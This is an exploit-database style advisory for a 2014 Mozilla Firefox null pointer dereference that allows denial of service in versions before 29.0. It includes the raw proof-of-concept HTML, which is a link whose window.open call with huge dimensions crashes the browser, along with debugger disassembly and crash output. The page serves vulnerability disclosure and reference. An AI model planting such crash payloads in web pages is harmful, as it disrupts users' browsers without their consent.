Mozilla Firefox Null Pointer Dereference Vulnerability

vendor:

Firefox

by:

Mr.XHat

7,5

CVSS

HIGH

Null Pointer Dereference

476

CWE

Product Name: Firefox

Affected Version From: Prior to 29.0

Affected Version To: Prior to 29.0

Patch Exists: YES

Related CWE: N/A

CPE: mozilla:firefox

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 x64 EN

2014

Mozilla Firefox Null Pointer Dereference Vulnerability

A null pointer dereference vulnerability exists in Mozilla Firefox prior to version 29.0. An attacker can exploit this vulnerability to cause a denial of service condition. The vulnerability is due to an error when handling a crafted HTML page. This can be exploited to cause a null pointer dereference in the function NS_NewLocalFile. This can be exploited to cause a denial of service condition.

Mitigation:

Upgrade to the latest version of Mozilla Firefox

Source

Exploit-DB raw data:

<html>
<title>Mozilla Firefox Null Pointer Dereference Vulnerability</title>
<pre>
Fun side of life!
<br>
Details:
	Title: Mozilla Firefox Null Pointer Dereference Vulnerability
	Version: Prior to 29.0
	Date: 4/30/2014
	Discovered By: Mr.XHat
	E-Mail: Mr.XHat {AT} GMail.com
	Tested On: Windows 7 x64 EN
###################################
Disassembly:
	01694240 8bc2            mov     eax,edx
	01694242 d9e0            fchs
	01694244 8b550c          mov     edx,dword ptr [ebp+0Ch]
	01694247 d95c2418        fstp    dword ptr [esp+18h]
	0169424b 8b1a            mov     ebx,dword ptr [edx]  ds:0023:00000000=????????
	0169424d d9442418        fld     dword ptr [esp+18h]
	01694251 8d4c2420        lea     ecx,[esp+20h]
	01694255 d9c0            fld     st(0)
	01694257 51              push    ecx
============================================
Output:
	(e0.544): Access violation - code c0000005 (first chance)
	First chance exceptions are reported before any exception handling.
	This exception may be expected and handled.
	eax=07e1fd00 ebx=0994bf90 ecx=000001f8 edx=00000000 esi=000000a8 edi=00000000
	eip=0169424b esp=0012c8f0 ebp=0012c940 iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
	*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Mozilla Firefox\xul.dll - 
	xul!NS_NewLocalFile+0x2a49c:
	0169424b 8b1a            mov     ebx,dword ptr [edx]  ds:0023:00000000=????????
#######################################################################################
</pre>
<a href="javascript:_Launch_Website_In_Floating_Window_()"
onclick="window.open('about:blank','1','toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=9999999999,height=9999999999');"
>Crash_Me</a>
<br><br>
I kill you again!
</html>